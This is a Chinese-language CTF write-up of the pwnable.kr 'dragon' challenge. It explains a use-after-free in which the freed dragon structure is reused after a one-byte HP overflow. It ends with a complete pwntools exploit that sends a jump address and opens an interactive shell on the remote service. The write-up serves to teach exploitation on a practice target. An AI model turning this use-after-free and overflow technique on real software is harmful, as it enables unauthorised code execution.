pwnable[dragon](uaf)

很有意思的一个题目,做成了一个打龙,要是有个图形界面就更有意思了。这个题出乎意料的地方是漏洞的地方仅仅是free了之后对里面的值再操作。我的思维总以为一定要free了之后再malloc才会有漏洞的。改掉这个思维定式。
分析开始。
0x01数据结构
在这里可以看出来
pwnable[dragon](uaf)
pwnable[dragon](uaf)
0x02漏洞分析
PriestAttack函数中无论杀没杀死龙都会把龙free
pwnable[dragon](uaf)
但是在这里继续使用了龙结构里面的值。
接下来就是屠龙了ennnnn。
pwnable[dragon](uaf)
这个是英雄和龙的状态表,粗略估计一下龙是打不死的。
看了一下结构,龙的生命值结构和英雄的不一样!
其中hp和生命回复是1个字节,生命值是可以加的,1英雄的技能相当于让龙加血,抗大龙的话1英雄能抗4次,12轮(3轮为一组大龙会打到身上一次)
80+12*4刚好128
pwnable[dragon](uaf)
龙的血等于0的时候就会返回
exp

from pwn import *
p=process("./dragon")
p=remote("pwnable.kr",9004)
#elf=ELF("./dragon")
context.log_level='debug'
p.recvuntil("[ 2 ] Knight")
p.sendline("1")
p.recvuntil("You Become Temporarily Invincible.\n")
p.sendline("1")
p.recvuntil("You Become Temporarily Invincible.\n")
p.sendline("1")
p.recvuntil("[ 2 ] Knight")



p.sendline("1")
for i in range(4):
    p.recvuntil("You Become Temporarily Invincible.\n")
    p.sendline("3")
    p.recvuntil("You Become Temporarily Invincible.\n")
    p.sendline("3")
    p.recvuntil("You Become Temporarily Invincible.\n")
    p.sendline("2")

p.recvuntil("The World Will Remember You As:\n")
p.sendline(p32(0x08048DBF))
p.recvuntil("Defeated Was Called:\n")
p.interactive()

总结:漏洞无处不在ennnnnnn